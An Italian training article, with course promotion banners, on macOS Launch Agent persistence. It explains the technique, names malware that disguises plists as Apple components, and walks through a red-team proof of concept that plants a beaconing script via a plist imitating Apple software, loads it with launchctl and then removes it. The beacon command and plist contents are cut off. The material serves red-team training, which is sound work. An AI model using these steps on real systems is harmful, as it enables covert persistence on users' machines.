Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Su macOS, il sottosistema launchd è il cuore dell'avvio e della gestione dei processi utente. Ogni volta che un utente effettua il login, launchd legge i file property list (.plist) contenuti in tre directory chiave — /System/Library/LaunchAgents, /Library/LaunchAgents e ~/Library/LaunchAgents — e avvia i programmi corrispondenti in base alle chiavi definite nel file XML: Label, ProgramArguments, RunAtLoad e KeepAlive.
Gli avversari sfruttano questo meccanismo per ottenere persistenza (TA0003) e, in determinati scenari, privilege escalation (TA0004). Depositando un file .plist con RunAtLoad impostato a true in una delle directory monitorate da launchd, un payload malevolo viene eseguito automaticamente ad ogni login, sopravvivendo ai riavvii senza necessità di intervento manuale. Il nome del Launch Agent viene spesso mascherato per imitare componenti legittimi del sistema operativo — una pratica osservata in almeno 20 famiglie malware documentate, dal trojan Komplex che si registra come com.apple.updates.plist, fino a MacMa che adotta com.apple.softwareupdate.plist.
L'unico gruppo APT associato a questa tecnica è Contagious Interview, che utilizza il malware InvisibleFerret per creare un Launch Agent persistente. La mitigazione principale si fonda sulla restrizione dei permessi di scrittura sulle directory LaunchAgents.
La simulazione di un Launch Agent malevolo è una delle verifiche più dirette che un red teamer può eseguire su un target macOS. L'obiettivo è dimostrare che un attaccante con privilegi utente standard può ottenere persistenza senza toccare directory di sistema protette da SIP (System Integrity Protection).
Il primo passo è creare un payload minimale. Un semplice script bash è sufficiente per il proof of concept:
mkdir -p ~/Library/LaunchAgents
echo '#!/bin/bash' > /tmp/beacon.sh && echo 'curl -s
Ora si genera il file .plist che registra il Launch Agent. La chiave RunAtLoad garantisce l'esecuzione al login, mentre KeepAlive assicura il riavvio automatico se il processo muore:
cat > ~/Library/LaunchAgents/com.apple.softwarehelper.plist << 'EOF'
Il caricamento manuale avviene con launchctl:
launchctl load ~/Library/LaunchAgents/com.apple.softwarehelper.plist
Per verificare che il Launch Agent sia effettivamente registrato:
launchctl list | grep softwarehelper
Questo restituirà il PID associato e lo stato. Durante l'engagement, variare i nomi .plist imitando software legittimo è essenziale per testare la capacità di detection del blue team — tecnica che il malware Green Lambert impiega con com.apple.GrowlHelper.plist.
Per chi utilizza framework di red teaming, Mythic (open source) con l'agent Apfell/Poseidon offre un modulo specifico per la creazione di Launch Agent, gestendo automaticamente la generazione del .plist e il caricamento via launchctl. In alternativa, Sliver (open source) consente di eseguire comandi shell arbitrari sulla sessione macOS per replicare la procedura manuale.
Al termine del test, la pulizia è obbligatoria:
launchctl unload ~/Library/LaunchAgents/com.apple.softwarehelper.plist rm ~/Library/LaunchAgents/com.apple.softwarehelper.plist /tmp/beacon.sh
Un punto spesso trascurato: verificare anche la directory /Library/LaunchAgents (system-wide, richiede privilegi amministrativi). Se il target ha utenti con diritti di admin, un attaccante può depositare un plist in questa directory e ottenere esecuzione per qualsiasi utente che faccia login — lo scenario esatto utilizzato da Contagious Interview e da OSX_OCEANLOTUS.D.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo